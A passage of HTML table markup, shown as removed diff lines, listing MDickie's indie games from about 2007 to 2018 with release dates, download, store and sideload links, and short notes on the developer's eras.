-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_trial_v1-3.exe">Trial v1.3</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">01/07</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">48</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Reach</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/reach_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/reach_demo.exe">Demo</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/reach_update.zip">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">07/07</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">49</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire 2008: Career Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008_ce_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008ce_update.exe">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">01/08</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">51</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire 2008: Management Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008_me_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008me_update.zip">Update</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wm2008me_converter.exe.exe">Data Converter</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">04/08</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">52</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Popscene: Track 2</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/popscene2_setup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">08/08</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">53</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The You Testament</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/youtestament_setup.exe">Download</a></span>) <span><a target="_blank" href="https://mdickie.netlify.app/files/youtestament_update.zip">Update</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">12/08</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Mat Dickie said that this would be this last game, as he was planning to become a teacher. However, production would later pick up again and new games would come out.</td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">54</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Sure Shot</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_sureshot.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/sureshot.exe">EXE</a></span>) <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.SureShotFree&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/sure-shot-reloaded/id503117449">iOS</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Sure-Shot-Free/dp/B0079QAEI6">Amazon</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Begins the Online Flash Era.</td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">55</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Moksha</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_moksha.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/downloads/moksha.exe">EXE</a></span>) <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.Moksha&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/moksha/id499867724">iOS</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Moksha/dp/B007A3LJR8">Amazon</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/09</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">56</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash Stuntz</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_stuntz.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/stuntz.exe">EXE</a></span>) <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.FlashStuntZ&amp;hl=en_US&amp;gl=US">Android</a></span> <span><a target="_blank" href="https://web.archive.org/web/20151229075938/https://itunes.apple.com/us/app/flash-stuntz/id499864979">iOS</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Flash-StuntZ/dp/B00793LL72">Amazon</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">11/09</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">57</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">CM Punk's Promo Cutter</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_cmpunk.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/cmpunk.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">58</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The Path To Enlightenment: Survival Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_buddha_survival.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/buddha_survival.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">59</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The Path To Enlightenment: Wisdom Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_buddha.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/buddha_wisdom.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">60</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Anthropic Principle</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_anthropic.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/anthropic.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">61</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Who Wants To Be A Millionaire?</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_millionaire.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/millionaire.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th id="1386834576R62" style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">62</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">QI: Quite Interesting</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_qi.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/qi.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">63</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Guess Who</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_guesswho.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/guesswho.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">64</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Family Fortunes</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_fortunes.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/fortunes.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">65</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Timer</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Flash (<span><a target="_blank" href="https://mdickie.netlify.app/files/flash_timer.swf">SWF</a></span> | <span><a target="_blank" href="https://mdickie.netlify.app/files/timer.exe">EXE</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009 (?)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">End of the Online Flash Era.</td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">66</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">A-fear-ism: The Ignorance Of Atheism </td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/afearism.pdf">PDF</a></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Mat Dickie actually made books, including this one and the one below.</td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">67</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Sportuality </td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/sportuality.pdf">PDF</a></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2009</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">68</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The Making of a Prophet</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/prophet_setup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">03/10</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">69</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Under Development</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/develop_setup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/10</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">70</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire Remix: Career Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/remix_ce_setup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2011</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">71</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire Remix: Management Edition</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/remix_me_setup.exe">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2011</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">72</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling MPire HD (Fanmade)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://download.cnet.com/wrestling-mpire-hd/3001-2117_4-75609779.html?dt=internalDownload">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2011</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Marks the end of the PC era, entering into the mobile / AIR era.</td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">73</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Revolution PPV (Demo)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><a target="_blank" href="https://mdickie.netlify.app/files/wr_ppv.apk">Android (APK)</a></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2012</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">74</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Revolution</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://mdickie.netlify.app/files/wr_flash.swf">Flash (SWF)</a></span> <span><a target="_blank" href="https://itunes.apple.com/app/wrestling-revolution-free/id542665773">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.WRCareer">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Wrestling-Revolution-Free-Training/dp/B008JYIE4S">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/673910/Wrestling_Revolution_2D/">Steam (PC)</a></span> <span><a target="_blank" href="https://www.ouya.tv/game/Wrestling-Revolution/">Ouya</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/revolution/wr_gamepad.apk">Moga</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr_mac.zip">Mac 1</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr_mac_demo.air">Mac 2</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr_pc_demo.exe">Windows</a></span> <span><a target="_blank" href="https://web.archive.org/web/20140209085700/https://www.desura.com/games/wrestling-revolution">Desura</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2012</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">75</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Booking Revolution</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/booking-revolution-pro/id631371825?mt=8">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.BRFree">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Booking-Revolution/dp/B00CH2C5VQ">Amazon</a></span> <span><a target="_blank" href="https://www.ouya.tv/game/Booking-Revolution/">Ouya</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/br_gamepad.apk">Moga</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/br_mac_demo.air">Mac</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/br_pc_demo.exe">Windows</a></span> <span><a target="_blank" href="https://web.archive.org/web/20140209085700/https://www.desura.com/games/booking-revolution">Desura</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2013</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">76</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Hard Time 2D</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/hard-time-prison-sim/id718021930">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.HardTime">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Hard-Time/dp/B00FZHIQK4">Amazon</a></span> <span><a target="_blank" href="https://www.ouya.tv/game/Hard-Time/">Ouya</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hardtime_gamepad.apk">Moga</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/686440">Steam (PC)</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/hard-time-2d-mdickie.exe">Windows</a></span> <span><a target="_blank" href="https://web.archive.org/web/20140209085700/https://www.desura.com/games/hard-time">Desura</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/13</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">77</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The Wrestling Channel 4: Fight (Fanmade)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Windows XP (<span><a target="_blank" href="https://mdickie.netlify.app/files/twc4_setup.exe/">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2014</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">78</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Popscene</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/id808129130">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.Popscene">Android</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2014</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">79</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrestling Revolution 3D</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/wrestling-revolution-3d/id923254516">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.WR3DFree">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Wrestling-Revolution-3D/dp/B00U3LVGZY">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/665330">Steam (PC)</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr3d_pc_demo.exe">Windows</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr3d_air16.apk">Sideload APK</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/wr3d_x86.apk">x86 Version</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2014</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">80</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">School Days</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/school-days-public/id998177668">iOS</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/school-days-hd/id998178748">iPad</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.SchoolPublic">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-School-Days/dp/B010PAVB3E">Amazon</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/school_air16.apk">Sideload APK</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/school_x86.apk">x86 Version</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2336420/School_Days">Steam (PC)</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">05/15</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">81</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Weekend Warriors</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/weekend-warriors-mma/id1053130968">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.WeekendWarriors">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Weekend-Warriors-MMA/dp/B019B5CBD8%5C">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2289130">Steam (PC)</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2015</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">82</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Super City</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/super-city/id1118661709">iOS</a></span> <span><a target="_blank" href="https://apps.apple.com/us/app/super-city-xl/id1118673625?at=11l9z8&amp;uo=4&amp;mt=8">iPad</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.SuperCity">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-Super-City-Superhero-Sim/dp/B01GD1IK92">Amazon</a></span> <span><a target="_blank" href="https://mdickie.com/apps/supercity_pc.zip">Windows</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/supercity_air16.apk">Sideload APK</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/supercity_x86.apk">x86 Version</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">05/16</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">83</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Wrecked</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/us/app/wrecked-island-survival-sim/id1210873274">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.Wrecked">Android</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2017</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">84</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Extra Lives</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/extra-lives-zombie-survival/id1298487584">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.ExtraLives">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/dp/B076NZRZJT">Amazon</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2310690/Extra_Lives">Steam (PC)</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">10/17</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">85</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Back Wars</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/extra-lives-zombie-survival/id1298487584">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.ExtraLives">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/dp/B076NZRZJT">Amazon</a></span> </td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2018</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
-                      <div style="line-height: 29px">86</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">The You Testament (The 2D Coming)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"><span><a target="_blank" href="https://itunes.apple.com/app/the-you-testament/id1446583125">iOS</a></span> <span><a target="_blank" href="https://play.google.com/store/apps/details?id=air.YouTestament">Android</a></span> <span><a target="_blank" href="https://www.amazon.com/MDickie-The-You-Testament/dp/B07MMWMHJV">Amazon</a></span> <span><a target="_blank" href="https://mdickie.netlify.app/files/youtestament_chinese.apk">Chinese APK</a></span> <span><a target="_blank" href="https://store.steampowered.com/app/2266320/The_You_Testament_The_2D_Coming/">Steam (PC)</a></span></td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">2018</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">This was thought to be the last game to use the Unity engine, which would be later used on the next following games. However, the AIR engine would no longer be used for the end of its era, entering into the Console era.</td>
-                  </tr>
-                  <tr style="height: 29px">
-                    <th style="height: 29px; vertical-align: middle;">
